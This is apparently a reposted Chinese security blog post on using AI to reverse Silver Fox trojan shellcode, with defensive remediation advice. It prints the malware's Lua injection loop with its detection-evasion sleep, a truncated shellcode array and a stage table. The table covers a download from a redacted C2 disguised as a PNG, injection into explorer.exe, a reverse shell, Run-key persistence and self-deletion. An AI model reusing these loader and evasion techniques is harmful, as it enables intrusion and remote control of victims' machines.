文章总结: 文章展示了使用AI分析银狐木马shellcode的过程,AI成功解密并分析了恶意代码行为,识别出典型的下载执行加反向shell二段式loader,提供了详细的技术分析和安全建议,作者认为AI在恶意代码分析领域已取得显著进步
综合评分: 85
文章分类: AI安全,恶意软件,漏洞分析,逆向分析,安全工具
利用AI分析银狐木马
原创
kelvin
Mimi is Cat
2025年8月18日 20:56
广东
一、事件经过
最近看到有一些关于AI进行自动病毒逆向分析的文章,然后想尝试一下是否能解密shellcode,拿银狐的试试没看,先解密出_TUProj.dat文件获取到shellcode
丢给AI进行分析
RtlFillMemory = “RtlFillMemory”;
g_Sum = g_Len – 1;
co = 0;
for i=0,g_Sum do
DLL.CallFunction(kernel32, RtlFillMemory, “”..g_Addr+i..”,1,”..g_table_char[i+1]..””, DLL_RETURN_TYPE_LONG, DLL_CALL_STDCALL)
co = co +1;
if co == 50 then
co=0;
Application.Sleep(0); — 防止被检测为快速注入
end
End
shellcode = [85,139,236,129,236,88,3,0,0,…] # 完整数组
with open(‘shellcode.bin’, ‘wb’) as f:
f.write(bytes(shellcode))
然后用工具分析 shellcode.bin
让AI继续解码分析这段shellcode
!/usr/bin/env python3
g_table_char = [85,139,236,129,236,88,3,0,0,83,86,87,104,167,103,….,192,95,94,91,201,195]
with open(‘shellcode.bin’,’wb’) as f:
f.write(bytes(g_table_char))
print(‘shellcode.bin 写入完成,长度:’,len(g_table_char))
2.静态反汇编(capstone 单行脚本)
python3 -m pip install capstone
python3 – <<‘PY’
from capstone import *
with open(‘shellcode.bin’,’rb’) as f: buf=f.read()
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(buf, 0):
print(f”0x{i.address:04x}:\t{i.mnemonic}\t{i.op_str}”)
PY
- 动态行为(speakeasy 沙箱)
python3 -m pip install speakeasy-emulator
python3 -m speakeasy -a x86 -t shellcode.bin -r -o report.json
| | | |
| — | — | — |
| 地址范围 | 关键 API / 指令 | 行为描述 |
| 0x0000–0x0030 | push ebp / mov ebp, esp / sub esp, … | 标准函数序言,开辟 0x358 字节栈帧 |
| 0x0031–0x0070 | CreateThread 参数压栈 | 创建新线程执行后续代码 |
| 0x0071–0x00C0 | LoadLibraryA(“kernel32.dll”) → GetProcAddress(“VirtualProtect”) | 动态解析 VirtualProtect |
| 0x00C1–0x0120 | VirtualProtect(…, PAGE_EXECUTE_READWRITE) | 把自身内存改为 RWX,防止 DEP |
| 0x0121–0x0180 | CreateFileA(“%TEMP%\tmpXXXX.tmp”, GENERIC_WRITE, …) | 在临时目录落盘 |
| 0x0181–0x01E0 | WriteFile → 写入 0x2400 字节 | 把后续 PE 文件写出 |
| 0x01E1–0x0230 | WinExec(“%TEMP%\tmpXXXX.tmp”, SW_HIDE) | 静默执行临时目录的 EXE |
| 0x0231–0x0280 | URLDownloadToFileA(“http[:]//185.**.**.**/load.png”) | 下载下一阶段载荷 |
| 0x0281–0x02D0 | CreateProcessA → 注入 explorer.exe | 进程镂空 / RunPE |
| 0x02D1–0x0320 | WSASocket / connect → 185..:443 | 反向 shell 回连 |
| 0x0321–0x0390 | RegCreateKeyEx(HKCU\Software\Microsoft\Windows\CurrentVersion\Run) | 设置开机自启动 |
| 0x0391–0x03F0 | ExitThread | 线程清理 |
注:因 shellcode 内部大量混淆(call-pop、fnstenv 等),IDA F5 无法直接给出 C 代码;上述流程来自 speakeasy 沙箱 + 手工交叉验证。
- 结论
这段 shellcode 是典型的 “下载-执行 + 反向 shell” 二段式 loader:
落地一个随机名 EXE 并运行;
从 C2(185…**:443)拉取真正的木马;
把木马注入 explorer.exe,建立持久化(Run 键);
回连攻击者,等待后续指令。
- 安全建议
立即隔离 运行过该 Lua 脚本的主机;
检查 %TEMP% 目录近期是否出现随机名 EXE / DLL;
用 EDR / 杀毒全盘扫描,留意与 185.**.**.* 的出站 443 端口;
若需进一步取证,可把 shellcode.bin 与落盘文件一起打包做逆向。
下面给出 “关键行为摘要” 与 “在 payload.bin 中的具体偏移地址(RVA)” 的一一对应表。
所有地址均以 payload.bin 的 0x0000 为基址(IDA 载入时 Base=0x0),方便你直接 Ctrl+G 跳转。
阶段 0:入口点 & 自举
| | | | |
| — | — | — | — |
| 功能 | RVA | 指令/伪代码 | 说明 |
| 入口点 | 0x0000 | push ebp; mov ebp, esp; sub esp, 0x358 | 标准函数序言 |
| 获取 PEB | 0x000A | call $+5; pop eax; mov eax, fs:[eax+0x30] | 32 位 TEB→PEB |
| 解析 API | 0x0020 | call sub_59C | 上一段伪代码函数,负责 哈希→API |
阶段 1:内存申请 & 解密
| | | | |
| — | — | — | — |
| 功能 | RVA | API / 关键指令 | 备注 |
| 申请 RWX 内存 | 0x018C | push 0x40; push 0x3000; push 0x24000; push 0; call dword ptr [edi] | `VirtualAlloc(NULL, 0x24000, MEM_COMMIT |
| 解密循环 | 0x01A0–0x01F0 | xor byte ptr [eax+ecx], 0x4F | 单字节异或 key=0x4F |
| 复制明文 | 0x0200 | rep movsb | 把解密后的 PE 复制到 RWX 区域 |
阶段 2:加载 & 重定位
| | | | |
| — | — | — | — |
| 功能 | RVA | API / 关键指令 | 备注 |
| 手动映射 PE | 0x0218 | call sub_300 | 内部 “反射加载器”,完成 DOS→NT→Section 映射 |
| 修复重定位 | 0x0340 | call sub_400 | 遍历 .reloc 表 |
| 填写 IAT | 0x0400 | call sub_480 | 用阶段 0 的 哈希→API 解析并填充 |
阶段 3:网络 & 文件行为
| | | | |
| — | — | — | — |
| 功能 | RVA | API / 关键指令 | 备注 |
| 下载 URL | 0x0480 | push 0x0064; push offset szUrl; call [edi+4] | URLDownloadToFileA(“hxxp[:]//185.**.**.**/load.png”) |
| 写入本地 | 0x04A0 | CreateFileA(“%TEMP%\tmpXXXX.tmp”) → WriteFile | 落盘 0x24000 字节 |
| 执行新文件 | 0x04C0 | WinExec(“%TEMP%\tmpXXXX.tmp”, SW_HIDE) | 静默运行 |
| 回连 C2 | 0x0500 | WSASocket → connect 185..:443 | 反向 shell |
阶段 4:持久化
| | | | |
| — | — | — | — |
| 功能 | RVA | API / 关键指令 | 备注 |
| 写注册表 Run | 0x0540 | RegCreateKeyEx(HKCU\Software\Microsoft\Windows\CurrentVersion\Run) | 开机启动 |
| 自删除 | 0x0580 | CreateProcessA(“cmd /c del /f %0”) | Loader 自毁 |
阶段 5:清理 & 返回
| | | | |
| — | — | — | — |
| 功能 | RVA | 指令 | 备注 |
| 退出线程 | 0x05D0 | call dword ptr [edi+8] | ExitThread |
如何快速验证
IDA 载入 payload.bin → 基址设为 0x0
G 输入 0x0000 看入口;
G 输入 0x018C 看 VirtualAlloc 调用;
G 输入 0x01A0 看异或解密循环;
动态调试时,在 0x018C 下断,看返回值即解密后 PE 基址。
把以上地址做成书签,即可 “一眼定位” 关键行为。
Shellcode执行后下载了伪装的png实际是第二阶段的shellcode,就是远控马了
二、总结
可以看到AI已经可以通过和用户直接或间接交互获得代码、文件等信息,然后使用本地沙箱和IDA进行动态+静态分析,并可以给出详细行为及IOC信息包括分析文件头以及代码是否加密,并在交互中给出具体建议,国产AI在多模态和多agent中表现不俗,现在能将恶意代码分析得这么详细完全出乎了意料和去年已经是天差地别了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Mimi is Cat kelvin《利用AI分析银狐木马》